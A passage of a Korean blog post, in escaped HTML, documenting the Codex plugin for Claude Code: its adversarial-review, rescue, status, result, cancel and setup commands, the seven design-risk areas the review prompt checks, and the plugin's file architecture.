&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2192&quot; data-origin-height=&quot;1044&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHhlb0%2FdJMcafF459w%2FGFcpzWJ8Y7hFTzNKe7AZyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1044&quot; data-origin-width=&quot;2192&quot; data-origin-height=&quot;1044&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. /codex:adversarial-review &amp;mdash; 도전적 리뷰&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구현 방식과 설계 결정을 도전적으로 질문하는 리뷰를 수행한다. review와 마찬가지로 &lt;b&gt;read-only&lt;/b&gt;이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;와 달리 &lt;b&gt;플래그 뒤에 포커스 텍스트를 자유롭게 추가&lt;/b&gt;할 수 있다. 포커스 텍스트를 지정하면 해당 영역에 가중치를 두고, 나머지 공격 면도 함께 검토한다. (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;adversarial-review.md&lt;/code&gt; 소스 검증 완료)&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 10px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 포커스 텍스트 없이 &amp;mdash; 7개 공격 면 전체를 균등하게 검토
/codex:adversarial-review --base HEAD~2

# 특정 기능 흐름 집중 &amp;mdash; 해당 영역에 가중치, 나머지도 함께 검토
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 보안/권한 집중
/codex:adversarial-review 인증 미들웨어와 API 권한 처리 누락 여부

# 대규모 변경은 백그라운드로
/codex:adversarial-review --background 타입 정의와 실제 API 스펙 일치 여부&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;ex) /codex:adversarial-review&amp;nbsp;--base&amp;nbsp;HEAD~2&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccrbG8%2FdJMcajhnWPQ%2FgWUGepIqLPhR2nLT0MDIRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;455&quot; height=&quot;232&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이후 2개의&amp;nbsp; 이력기준으로 분석하고 내용을 알려준다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;568&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUNlwY%2FdJMcaaLy1JO%2FRU2zWBAKesf1dkreGk39b0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;568&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/prompts/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;adversarial-review 프롬프트&lt;/a&gt;가 질문하는 핵심 축:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;현재 접근 방식이 올바른지&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;어떤 가정에 의존하는지&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;실제 조건에서 설계가 어디서 실패할 수 있는지&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8xGky%2FdJMcabXYHpY%2FzN9Pq4wj9BiVMLK5GOdTkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1102&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;7개 공격 면(attack surface)이 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/prompts/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;프롬프트에 정의&lt;/a&gt;되어 있다:&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;인증, 권한, 테넌트 격리, 신뢰 경계 (Authentication, permissions, tenant isolation, trust boundaries)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;데이터 손실, 오염, 중복, 비가역 상태 변경 (Data loss, corruption, duplication, irreversible state changes)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;롤백 안전성, 재시도, 부분 실패, 멱등성 갭 (Rollback safety, retries, partial failure, idempotency gaps)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;레이스 컨디션, 순서 가정, 스테일 상태, 재진입 (Race conditions, ordering assumptions, stale state, re-entrancy)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;빈 상태, null, 타임아웃, 의존성 저하 동작 (Empty-state, null, timeout, degraded dependency behavior)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;버전 스큐, 스키마 드리프트, 마이그레이션 위험, 호환성 회귀 (Version skew, schema drift, migration hazards, compatibility regressions)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;관찰성 갭 (Observability gaps)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 ①: 어떤 리뷰 종류를 선택할까? (review vs adversarial-review)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 명령어&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 머지 전 일반 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;표준 코드 품질 점검에 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아키텍처 변경 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설계 가정을 공격적으로 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안 민감 코드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7개 공격 면 기반 심층 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review는 &quot;이 코드에 문제가 있는가?&quot;에 집중하고, adversarial-review는 &quot;이 설계가 실패할 수 있는 곳은 어디인가?&quot;에 집중한다. 일반 리뷰에는 review, 설계 결정을 검증해야 할 때는 adversarial-review가 적합하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 ②: 실행 모드 선택 (두 명령어 공통 적용)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 확인 (1~2 파일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동기 실행으로 즉시 결과 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비동기 실행 권장, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 결과 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; 플래그는 review와 adversarial-review 모두에 동일하게 적용된다. 예: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review --wait&lt;/code&gt;도 유효하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQYyvW%2FdJMcaiCL8Mo%2FWYKSrakrvu541nFtDCzNdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1100&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. /codex:rescue &amp;mdash; 작업 위임&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다.&amp;nbsp;review와 달리 &lt;b&gt;기본 write 모드&lt;/b&gt;로 실행된다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; &amp;mdash; 비동기/동기 실행&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--fresh&lt;/code&gt; &amp;mdash; 이전 작업 이어하기 또는 새로 시작&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;model|spark&amp;gt;&lt;/code&gt; &amp;mdash; 모델 선택. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;spark&lt;/code&gt;은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑된다&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort &amp;lt;none|minimal|low|medium|high|xhigh&amp;gt;&lt;/code&gt; &amp;mdash; reasoning effort 6단계 설정&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-4. /codex:status &amp;mdash; 작업 현황&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;현재 및 완료된 Codex 작업을 표시한다. review-gate 상태도 포함한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-5. /codex:result &amp;mdash; 결과 확인&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;완료된 작업의 최종 출력을 축약 없이 전부 표시한다. verdict, summary, findings, details, artifacts, next steps 등 모든 페이로드를 보존한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-6. /codex:cancel &amp;mdash; 작업 취소&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;활성 백그라운드 Codex 작업을 종료한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-7. /codex:setup &amp;mdash; 초기 설정&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex CLI 상태를 확인하고 Review Gate를 제어한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq4Thq%2FdJMcaiCL82Y%2FzSQaxY6K9NNfPGtUqlccdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1092&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--enable-review-gate&lt;/code&gt; &amp;mdash; Review Gate 활성화&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--disable-review-gate&lt;/code&gt; &amp;mdash; Review Gate 비활성화&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;Codex 미설치 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code Plugin System 구조&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 플러그인은 Claude Code의 네이티브 Plugin System을 사용한다. 전체 구조는 다음과 같다:&lt;/p&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;marketplace.json (마켓플레이스 등록)
  └&amp;rarr; plugin.json (플러그인 메타데이터)
       ├&amp;rarr; commands/ (7개 슬래시 명령어 정의 &amp;mdash; .md)
       ├&amp;rarr; hooks/ (hooks.json &amp;mdash; SessionStart/SessionEnd/Stop)
       ├&amp;rarr; agents/ (codex-rescue 서브에이전트 &amp;mdash; .md)
       ├&amp;rarr; skills/ (3개 스킬 &amp;mdash; SKILL.md)
       ├&amp;rarr; prompts/ (adversarial-review 전용 프롬프트 &amp;mdash; .md, review는 commands/review.md에 인라인 정의)
       ├&amp;rarr; schemas/ (review-output.schema.json)
       └&amp;rarr; scripts/ (codex-companion.mjs + lib/ 모듈 14개)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;명령어와 에이전트는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;.md&lt;/code&gt; 파일로 선언적 정의하고, 실제 실행 로직은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;scripts/&lt;/code&gt; 하위의 JavaScript 모듈이 담당한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex App Server 연동&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인은 로컬에 설치된 Codex CLI(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;codex app-server&lt;/code&gt;)를 래핑하여 JSON-RPC 프로토콜로 통신한다. 별도 런타임이 아닌 사용자의 로컬 Codex CLI를 사용하는 구조다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;연결 전략은 두 가지다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
